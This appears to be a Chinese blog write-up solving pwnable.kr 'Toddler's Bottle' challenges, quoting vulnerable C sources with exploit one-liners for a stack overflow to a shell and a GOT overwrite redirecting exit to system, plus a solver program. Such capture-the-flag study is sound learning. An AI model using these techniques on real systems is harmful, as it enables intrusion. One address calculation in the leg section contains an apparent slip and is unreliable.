pwnable.kr解題write up —— Toddler's Bottle(一)
1. fd
#include <stdlib.h> #include <string.h> char buf[32]; int main(int argc, char* argv[], char* envp[]){ if(argc<2){ printf("pass argv[1] a number\n"); return 0; } int fd = atoi( argv[1] ) - 0x1234; int len = 0; len = read(fd, buf, 32); if(!strcmp("LETMEWIN\n", buf)){ printf("good job :)\n"); system("/bin/cat flag"); exit(0); } printf("learn about Linux file IO\n"); return 0; }
ssh連結上後,發現當前目錄有一個setuid的fd可執行檔案以及其原始碼,還有一個flag檔案。原始碼邏輯比較簡單,讀取一個檔案,若讀入內容和LETMEWIN一致,則列印flag中的內容。其中,檔案描述符是由使用者輸入的。查閱檔案IO相關API,可以找到,0,1,2分別是代表的stdin,stdout和stderr,所以只要是檔案描述符為0,就可以輸入指定內容了。
2. collision
#include <string.h> unsigned long hashcode = 0x21DD09EC; unsigned long check_password(const char* p){ int* ip = (int*)p; int i; int res=0; for(i=0; i<5; i++){ res += ip[i]; } return res; } int main(int argc, char* argv[]){ if(argc<2){ printf("usage : %s [passcode]\n", argv[0]); return 0; } if(strlen(argv[1]) != 20){ printf("passcode length should be 20 bytes\n"); return 0; } if(hashcode == check_password( argv[1] )){ system("/bin/cat flag"); return 0; } else printf("wrong passcode.\n"); return 0; }
輸入20個字元,然後這20個字元會被分成5段,每段當成int處理,進行求和,結果為0x21DD09EC就可以通過。這個題目通過程式設計,把它的邏輯反過來寫,可以很容易得到目標輸出。
3. bof
從原始碼可以看出,目標是通過gets方法,改寫掉key的值。使用gdb開啟,輸入幾個a作測試,可以找到輸入地址和目標地址。計算可以得到相差52個位元組。#include <string.h> #include <stdlib.h> void func(int key){ char overflowme[32]; printf("overflow me : "); gets(overflowme); // smash me! printf("%x\n", key); if(key == 0xcafebabe){ system("/bin/sh"); } else{ printf("Nah..\n"); } } int main(int argc, char* argv[]){ func(0xdeadbeef); return 0; }
另外,編譯時,啟用了canary作溢位保護。不過這個保護機制是當函式返回的時候才會被觸發,而system已經被執行了,因此無法即使阻止。
命令:(python -c 'print("a"*52+ chr(0xbe) + chr(0xba) + chr(0xfe) +chr(0xca))'; cat) | nc pwnable.kr 9000
PS:不大明白cat的作用是什麼,但是如果不用的話,就會被canary檢測到溢位,從而程式被中止,無法獲取shell。
4. flag
需要對一個可執行檔案進行逆向分析。開始嘗試各種工具(IDA,gdb,objdump)都不好使,好來看了別人的writeup,才知道是經過UPX打包了。google了一下,知道檢測upx打包的方法是查詢UPX!或者UPX0的存在,用strings一看,果然最後兩行是UPX!。於是下載upx工具,直接解包,工具就都可以使用了。
直接執行程式,可以得到提示I will malloc() and strcpy the flag there. take it.。彙編碼如下:
可以看出main函式確實執行了malloc,因此,只需要斷點到main函式末尾,然後列印malloc得到的地址即可。這裡使用x/s $rax即可得到flag。
6. passcode
#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
可以看見,scanf被誤用了,導致沒辦法正確的給passcode1和passcode2賦值。不過,可以看到,該函式首先呼叫了welcome函式,並接受了一個100個字元的輸入,可以用來預先構造棧。通過gdb,可以得到name的地址為-0x70(%ebp),passcode1為-0x10(%ebp),passcode2為-0xc(%ebp)。因為在welcome中,只接收了一個100個字元的輸入,因此,只能給passcode1賦值,無法直接改變passcode2。於是直接修改passcode1和passcode2的值,滿足if條件,是不可行的了。
但是,通過控制passcode1的值,配合scanf,可以做到任意位置寫入4個位元組。通常來說,是需要修改函式返回地址的。但是,在這個程式中,如果條件不滿足,就直接呼叫exit退出,不存在出棧的過程。於是,就只能採用另一種手段,通過修改plt,引導exit的呼叫到system處,就可以執行了。(在C中,當程式需要呼叫library中的函式時,程式會到plt中去尋找跳轉的地址。例如,在本例中,執行exit的語句為call 0x8048480 <[email protected]>, 其中0x8048480就是指向的plt表格,而在plt中,對應地址的指令為jmp *0x804a018,即為尋找exit真實的地址,並跳轉的exit處。)在這裡,只需要將0x804a018地址的值指向system,就可以執行目標語句了。
命令: python -c "print('a'*96 + chr(0x18) + chr(0xa0) + chr(0x04) + chr(0x08) + '134514147')" | ./passcode
7. random
#include <stdio.h>
int main(){
unsigned int random;
random = rand(); // random value!
unsigned int key=0;
scanf("%d", &key);
if( (key ^ random) == 0xdeadbeef ){
printf("Good!\n");
system("/bin/cat flag");
return 0;
}
printf("Wrong, maybe you should try 2^32 cases.\n");
return 0;
}
使用rand時,如果不提供一個隨機種子,就會產生一樣的結果,這就是偽隨機的效果。因此,用gdb執行這個檔案,在rand後打下斷點,打印出random的值為0x6b8b4567。0x6b8b4567^0xdeadbeef=3039230856,就是結果了。
8. input
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
int main(int argc, char* argv[], char* envp[]){
printf("Welcome to pwnable.kr\n");
printf("Let's see if you know how to give input to program\n");
printf("Just give me correct inputs then you will get the flag :)\n");
// argv
if(argc != 100) return 0;
if(strcmp(argv['A'],"\x00")) return 0;
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
printf("Stage 1 clear!\n");
// stdio
char buf[4];
read(0, buf, 4);
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4);
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");
// env
if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");
// file
FILE* fp = fopen("\x0a", "r");
if(!fp) return 0;
if( fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\n");
// network
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("socket error, tell admin\n");
return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY;
saddr.sin_port = htons( atoi(argv['C']) );
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
printf("bind error, use another port\n");
return 1;
}
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
if(cd < 0){
printf("accept error, tell admin\n");
return 0;
}
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");
// here's your flag
system("/bin/cat flag");
return 0;
}
這題邏輯上比較簡單,一部分一部分的來通過就行了。考慮到需要引數,環境變數的特殊性,這題使用execve比較合適。
stdio是個難點,看了別人的答案後才知道,需要使用dup2強行關閉stdin和stderr,替換成自己想要開啟的檔案。
socket部分直接使用原來程式碼,稍加修改就可以通過了。
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <errno.h>
int main(){
char *argv[101];
char *envp[2] = {"\xde\xad\xbe\xef=\xca\xfe\xba\xbe", NULL};
int i;
int fd1,fd2;
for(i=0;i<100;i++){
argv[i] = "A";
}
argv[100] = NULL;
argv[0] = "input";
argv['A'] = "\x00";
argv['B'] = "\x20\x0a\x0d";
argv['C'] = "55555";
if(fork() == 0){
int err;
int fd = open("\x0a", O_RDWR|O_CREAT,0644);
write(fd, "\x00\x00\x00\x00", 4, 1);
close(fd);
fd1 = open("tmp1.txt", O_RDWR|O_CREAT,0644);
fd2 = open("tmp2.txt", O_RDWR|O_CREAT,0644);
dup2(fd1,0);
dup2(fd2,2);
write(fd1, "\x00\x0a\x00\xff", 4);
write(fd2, "\x00\x0a\x02\xff", 4);
lseek(fd1,0,SEEK_SET);
lseek(fd2,0,SEEK_SET);
printf("executing\n");
err=execve("/home/input/input", argv, envp);
printf("%d\n", err);
printf("%s\n", strerror(errno));
}else{
int sd, cd;
struct sockaddr_in saddr, caddr;
sleep(5);
printf("connecting\n");
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("socket error, tell admin\n");
return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
saddr.sin_port = htons( atoi(argv['C']) );
connect(sd, (struct sockaddr *)&saddr, sizeof(saddr));
send(sd, "\xde\xad\xbe\xef", 4, 0);
close(sd);
}
}
9. leg
#include <stdio.h>
#include <fcntl.h>
int key1(){
asm("mov r3, pc\n");
}
int key2(){
asm(
"push {r6}\n"
"add r6, pc, $1\n"
"bx r6\n"
".code 16\n"
"mov r3, pc\n"
"add r3, $0x4\n"
"push {r3}\n"
"pop {pc}\n"
".code 32\n"
"pop {r6}\n"
);
}
int key3(){
asm("mov r3, lr\n");
}
int main(){
int key=0;
printf("Daddy has very strong arm! : ");
scanf("%d", &key);
if( (key1()+key2()+key3()) == key ){
printf("Congratz!\n");
int fd = open("flag", O_RDONLY);
char buf[100];
int r = read(fd, buf, 100);
write(0, buf, r);
}
else{
printf("I have strong leg :P\n");
}
return 0;
}
程式碼如下,屬於彙編碼分析。直接目標就是獲取key1,key2和key3的返回值。呼叫部分的彙編如下
0x00008d68 <+44>: bl 0x8cd4 <key1>
0x00008d6c <+48>: mov r4, r0
0x00008d70 <+52>: bl 0x8cf0 <key2>
0x00008d74 <+56>: mov r3, r0
0x00008d78 <+60>: add r4, r4, r3
0x00008d7c <+64>: bl 0x8d20 <key3>
0x00008d80 <+68>: mov r3, r0
0x00008d84 <+72>: add r2, r4, r3
可以看出,返回值都是儲存在r0中的。下面一個一個來分析
(gdb) disass key1
Dump of assembler code for function key1:
0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cd8 <+4>: add r11, sp, #0
0x00008cdc <+8>: mov r3, pc
0x00008ce0 <+12>: mov r0, r3
0x00008ce4 <+16>: sub sp, r11, #0
0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008cec <+24>: bx lr
關鍵指令就是0x8cdc,可以看出pc的值就是返回結果。通過文件,可以知道,當處於arm狀態時,pc的值為當前指令加8,thumb狀態時,pc的值為當前指令加4。狀態轉換是由blx或者bx指令來進行轉換的。因此,當前pc的值為0x8cdc+8。
(gdb) disass key2
Dump of assembler code for function key2:
0x00008cf0 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cf4 <+4>: add r11, sp, #0
0x00008cf8 <+8>: push {r6} ; (str r6, [sp, #-4]!)
0x00008cfc <+12>: add r6, pc, #1
0x00008d00 <+16>: bx r6
0x00008d04 <+20>: mov r3, pc
0x00008d06 <+22>: adds r3, #4
0x00008d08 <+24>: push {r3}
0x00008d0a <+26>: pop {pc}
0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4)
0x00008d10 <+32>: mov r0, r3
0x00008d14 <+36>: sub sp, r11, #0
0x00008d18 <+40>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d1c <+44>: bx lr
和key1類似,先是從pc中獲取值。不過注意到,在獲取pc值之前,執行了指令bx r6,因此狀態發生了改變,此時pc的值應當為0x8d04+4。指令0x8d06又將r3加了4,所以最終結果為0x8d0f+4+4。 0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008d24 <+4>: add r11, sp, #0
0x00008d28 <+8>: mov r3, lr
0x00008d2c <+12>: mov r0, r3
0x00008d30 <+16>: sub sp, r11, #0
0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d38 <+24>: bx lr
key3的返回結果為lr,查詢可知lr儲存的是返回地址。因此就是跳轉到key3指令的下一條,0x8d80。
三者相加,即可得到最終結果。
相關推薦
pwnable.kr解題write up —— Toddler's Bottle(一)
1. fd #include <stdlib.h> #include <string.h> char buf[32]; int main(int argc, char* argv[], char* envp[]){ if(argc<2){
RISE UP —計算機組成原理(一)
第一個問題:什麼是計算機? 現在特指電子計算機,即能夠告訴運轉的電子裝置,目的是用於資料的計算,是對使用者的輸入進行加工,根據使用者的需求和要求進行加工,最後輸出一個結果。 第二個問題:從上面所述的這個簡單的定義來說,猜測一下有哪些
pwnable.kr [Toddler's Bottle]
寫在最前: 想要成為安全大牛的願望還是這麼遙不可及。 漸漸地,沒有什麼憂慮的大學生活也好像開始有了一些屬於小人物的忐忑。 還是堅信自己很厲害,可是道路前方仍是一篇迷濛。 感謝幫助過我的前輩,以及讓我可以暫時不考慮經濟壓力的父母。 I have
[UVALive7261]A - Xiongnu's Land (二分)
while continue 大於 並且 輸出結果 net lan include != 題目鏈接:https://vjudge.net/problem/UVALive-7261 題意略 三個步驟: 1.二分滿足左邊綠洲面積大於等於右邊綠洲面積,並且使左邊面積盡可能大的分割
HDU 4415 Assassin's Creed(貪心)
all ria put space clas name 它的 tor problem pid=4415">HDU 4415 題意: 壯哉我Assassin! E叔有一柄耐久度為m的袖劍,以及n個目標士兵要去解決。 每解決掉一個士兵,消耗袖劍Ai的
POJ 3069 Saruman's Army (貪心)
依次 至少 一個 ide mage != cnblogs style man 題目大意:直線上有N個點,點i的位置是Xi,從這N個點中選取若幹,給他們加上標記,對每一個點,其距離為R以內的區域內必須有被標記的點。求至少需要多少個點被標記。 題目思路:設最左邊的點:點p的
POJ 3128 Leonardo's Notebook (置換)
gif telling freopen for each align lock 需要 text page Leonardo‘s Notebook Time Limit: 1000MS Memory Limit: 65536K Total Submission
A Knight's Journey (DFS)
rpe for pos sca board around span this osi Background The knight is getting bored of seeing the same black and white squares again and a
HDU 6043 KazaQ's Socks (規律)
n-1 cnblogs sample swe 順序 裏的 this c-s close Description KazaQ wears socks everyday. At the beginning, he has nn pairs of socks numbered
C/S權限系統(一)
ati 臨時 day adapt 通用 lda pri userinfo selected 父窗體的代碼: 擴展Enter鍵相當於Tab鍵的思路: 1.創建 窗體的父類2.在父類中重寫Form中的ProcessCmdKey方法,在相關控件上按回車鍵相當於按了Tab 鍵3
Hyperledger Fabric CA User’s Guide——CA用戶指南(一)
targe har 格式 rect ocs form per ces guid Fabric CA用戶指南 Hyperledger Fabric CA是一種用於Hyperledger Fabric的認證機構(CA)。 它提供了如下特性: 登記身份(註冊ID),或者連接到作
獨家!了不起的UP系列產品,不一樣的開發板—UP Board(一)
英特爾公司 操作系統 hat 擴展 pin 物聯 gpo post 開發板 AAEON自2016年推出第一代UP board問世以來,其信用卡大小的苗條小身材(世界首創Intel平臺信用卡大小開發板),配備上Intel? Atom? x5-z8350 處理器,兼容樹莓派4
【HDOJ5640】King's Cake(數論)
nbsp std namespace cas algo ima iostream turn tdi 題意: 思路: 1 #include<cstdio> 2 #include<cstdlib> 3 #include<iostream
javascript基礎修煉(2)——What‘s this(上)
模式 ron con 組成 更多 urn 封裝 語法錯誤 講解 javascript基礎修煉(2)——What‘s this(上) 開發者的javascript造詣取決於對【動態】和【異步】這兩個詞的理解水平。 [TOC] 一.this是什麽 this是java
POJ 2348 Euclid's Game(博弈)題解
tac pan tps 題意 \n sin typedef esp cstring 題意:有a,b兩個數字,兩人輪流操作,每次可以選擇兩個之中較小的數字,然後另一個數字減去選擇數字的任意倍數(不能減到負數),直到其中一個為0,不能操作為敗 思路:這題用博弈NP思想,必敗點和
0x16 HCNP-R&S BGP原理詳解(一)
自治系統(AS):由同一個技術管理機構管理、使用統一選路策略的一些路由器的集合。 IGP 內部閘道器協議 運行於AS內部 著重於發現和計算路由 主要有:RIP、OSPF、ISIS
POJ - 1904 King's Quest (tarjan)
Once upon a time there lived a king and he had N sons. And there were N beautiful girls in the kingdom and the king knew about each of his sons which
TZOJ--1247: Hat's Fibonacci(大數)
1247: Hat's Fibonacci 時間限制(普通/Java):1000MS/10000MS 記憶體限制:32768KByte 描述 A Fibonacci sequence is calculated by adding th
Python C/S 網路程式設計(一)之 三種方法實現天氣預報小程式
1. 首先明白下協議棧和庫的概念: 協議棧(Protocol Stack): 是指網路中各層協議的總和,其形象的反映了一個網路中檔案傳輸的過程:由上層協議到底層協議,再由底層協議到上層協議。 庫(Library):主要用來解析要使用的網路通訊協議,包含Python內建標準庫